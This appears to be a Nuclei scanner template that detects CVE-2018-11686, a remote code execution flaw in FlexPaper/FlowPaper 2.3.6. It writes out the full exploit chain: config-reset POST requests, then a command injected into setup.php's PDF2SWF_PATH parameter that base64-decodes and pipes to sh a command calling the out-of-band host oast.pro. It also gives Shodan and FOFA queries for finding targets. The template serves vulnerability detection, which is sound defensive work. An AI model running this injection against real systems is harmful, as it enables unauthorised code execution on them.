CVE-2018-11686: FlexPaper/FlowPaper 2.3.6 - Remote Code Execution

id: CVE-2018-11686

info:
  name: FlexPaper/FlowPaper 2.3.6 - Remote Code Execution
  author: iamnoooob,pdresearch,pszyszkowski
  severity: critical
  description: |
    The Publish Service in FlexPaper (later renamed FlowPaper) 2.3.6 allows remote code execution via setup.php and change_config.php.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11686
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-11686
    cwe-id: CWE-20
    epss-score: 0.90323
    epss-percentile: 0.9958
    cpe: cpe:2.3:a:flowpaper:flowpaper:2.3.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: flowpaper
    product: flowpaper
    shodan-query: title:"FlexPaper"
    fofa-query: title="FlexPaper"
  tags: cve,cve2018,flexpaper,flowpaper,rce

variables:
  cmd: "curl oast.pro"
  cmd_b: "{{base64(cmd)}}"

http:
  - raw:
      - |
        POST /php/change_config.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        SAVE_CONFIG=1&SWF_Directory=config/

      - |
        POST /php/change_config.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        SAVE_CONFIG=1&SWF_Directory=config/

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "index.php?msg=Configuration%20saved!")'
          - 'status_code == 302 || status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /php/setup.php?step=4&PDF2SWF_PATH=echo+{{cmd_b}}+%7C+base64+-d+%7C+sh+%3Econfig/output.txt%3B HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /php/config/output.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "Interactsh Server")'
          - 'contains(content_type_2, "text/plain")'
          - 'contains(location_1, "index.php")'
        condition: and
# digest: 490a0046304402204294a010d931b5e0fc919cea989f0517d649a83579d6e05a7e02bfdc1cedf81e0220217e8cf02c3525df35c38d716321eabf144c26fe18b0280334a4b5bc50493cb9:922c64590222798bb761d5b6d8e72950